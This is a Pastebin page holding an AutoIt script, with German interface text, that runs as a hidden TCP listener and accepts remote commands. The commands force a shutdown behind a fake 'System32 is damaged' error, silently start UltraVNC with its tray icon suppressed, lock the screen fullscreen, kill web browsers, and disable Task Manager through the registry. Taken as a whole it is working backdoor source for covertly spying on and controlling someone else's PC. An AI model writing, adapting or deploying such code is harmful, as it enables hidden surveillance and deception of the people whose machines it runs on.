Advertisement
Guest User

Untitled

a guest
Jun 27th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 3.72 KB | None | 0 0
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  3. #include <StaticConstants.au3>
  4. #include <WindowsConstants.au3>
  5. #include <EditConstants.au3>
  6. #include <GUIConstantsEx.au3>
  7. ;#include <SysTray_UDF.au3>
  8. ;#RequireAdmin
  9. AutoItSetOption("TrayIconHide", 1)
  10. Global $ClientIP = "100.200.100.208"
  11. ;Global $ClientIP = "127.0.0.1"
  12. Global $ClientPort = 4322
  13.  
  14. TCPStartup()
  15. $MainSocket = TCPListen($ClientIP,$ClientPort)
  16. Global $InetSperren = 0
  17. Global $PCSperren = 0
  18. Global $VNC = 0
  19. Global $InetProcess[2] = ["IEXPLORE.EXE","firefox.exe"]
  20. While 1 * Sleep(100)
  21. _InetSperren()
  22. _PCSperren()
  23. _VNC()
  24.     $NewSocket = TCPAccept($MainSocket)
  25.     If $NewSocket >= 0 Then
  26.         Do
  27.             $Recv = TCPRecv($NewSocket,2048)
  28.             $Recv2 = $Recv
  29.             Sleep(100)
  30.         Until $Recv <> ""
  31.         If StringInStr($Recv,"AppID") = True Then
  32.             $Recv = StringReplace($Recv,"AppID:","")
  33.             If $Recv = 11 Then
  34.                 _ShutdownB()
  35.                 $Recv = ""
  36.                 TCPCloseSocket($NewSocket)
  37.             ElseIf $Recv = 21 Then
  38.                 $VNC = 1
  39.                 $Recv = ""
  40.                 TCPCloseSocket($NewSocket)
  41.             ElseIf $Recv = 31 Then
  42.                 $PCSperren = 1
  43.                 $Recv = ""
  44.                 TCPCloseSocket($NewSocket)
  45.             ElseIf $Recv = 41 Then
  46.                 $InetSperren = 1
  47.                 $Recv = ""
  48.                 TCPCloseSocket($NewSocket)
  49.             ElseIf $Recv = 20 Then
  50.                 $VNC = 0
  51.                 $Recv = ""
  52.                 TCPCloseSocket($NewSocket)
  53.             ElseIf $Recv = 30 Then
  54.                 $PCSperren = 0
  55.                 $Recv = ""
  56.                 TCPCloseSocket($NewSocket)
  57.             ElseIf $Recv = 40 Then
  58.                 $InetSperren = 0
  59.                 $Recv = ""
  60.                 TCPCloseSocket($NewSocket)
  61.             EndIf
  62.         EndIf
  63.     EndIf
  64. WEnd
  65.  
  66. Func _ShutdownB()
  67.     Shutdown(6,"Fehler: System32 ist beschädigt")
  68. EndFunc
  69.  
  70. Func _VNC()
  71.     If $VNC = 1 Then
  72.     If iniRead("C:\Programme\UltraVNC\ultravnc.ini","admin","DisableTrayIcon","-1") = 0 Then
  73.         iniWrite("C:\Programme\UltraVNC\ultravnc.ini","admin","DisableTrayIcon","1")
  74.     EndIf
  75.     Run("C:\Programme\UltraVNC\winvnc.exe")
  76.     $VNC = 0
  77.     EndIf
  78. EndFunc
  79.  
  80. Func _PCSperren()
  81.     If $PCSperren = 1 Then
  82.     $Form1 = GUICreate("ACHTUNG!", @DesktopWidth, @DesktopHeight, 0, 0, $WS_POPUP)
  83.     GUISetCursor(3)
  84.     GUISetBkColor(0x000000)
  85.     $Label1 = GUICtrlCreateLabel("Computer gesperrt!", (@DesktopWidth / 2) - 210, @DesktopHeight / 2, 420, 100)
  86.     GUICtrlSetFont(-1, 36, 400, 0, "Arial")
  87.     GUICtrlSetColor(-1, 0xFFFFFF)
  88.     $Label2 = GUICtrlCreateLabel("", 0, @DesktopHeight-100, 420, 100)
  89.     GUICtrlSetFont(-1, 36, 400, 0, "Arial")
  90.     GUICtrlSetColor(-1, 0xFFFFFF)
  91.     $Input1 = GUICtrlCreateInput("Passwort", 0, @DesktopHeight-40,  81, 21)
  92.     $Button1 = GUICtrlCreateButton("Entsperren", 0, @DesktopHeight-20, 81, 17, $WS_GROUP)
  93.     WinSetOnTop($Form1, "", 1)
  94.     GUISetState(@SW_SHOW)
  95.     MouseMove(0,0)
  96.     $PCSperren = 5
  97.     ;$Password = Random(111,999,1)
  98.     ;$Ergebnis = 0
  99.     ;MsgBox(262144,"",$Password)
  100.     ;Do
  101.     ;   MouseMove(0,0)
  102.     ;   $nMsg = GUIGetMsg()
  103.     ;   _DisEnableTaskManager(1)
  104.     ;       Switch $nMsg
  105.  
  106.     ;   Case $Button1
  107.     ;       If GUICtrlRead($Input1) = $Password Then
  108.     ;               $Ergebnis = $Password
  109.     ;   EndIf
  110.     ;EndSwitch
  111.     ;Until $Password = $Ergebnis
  112.     ElseIf $PCSperren = 0 Then
  113.         GUISetState(@SW_HIDE)
  114.         _DisEnableTaskManager(0)
  115.     EndIf
  116. EndFunc
  117.  
  118. Func _InetSperren()
  119. ;_DisEnableTaskManager(1)
  120. If $InetSperren = 1 Then
  121.         If ProcessExists($InetProcess[0]) Then
  122.             ProcessClose($InetProcess[0])
  123.         EndIf
  124.         If ProcessExists($InetProcess[1]) Then
  125.             ProcessClose($InetProcess[1])
  126.         EndIf
  127.         Sleep(200)
  128. EndIf
  129.  
  130. ;_DisEnableTaskManager(0)
  131. EndFunc
  132.  
  133. Func _DisEnableTaskManager($DISABLE=1)
  134.     If $DISABLE <> 0 Then $DISABLE = 1
  135.     Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
  136.     Local $val = "DisableTaskMgr"
  137.     RegWrite($key, $val, "REG_DWORD", $DISABLE)
  138.     If @error Then
  139.         Return SetError(@error, 0, 0)
  140.     Else
  141.         Return 1
  142.     EndIf
  143. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement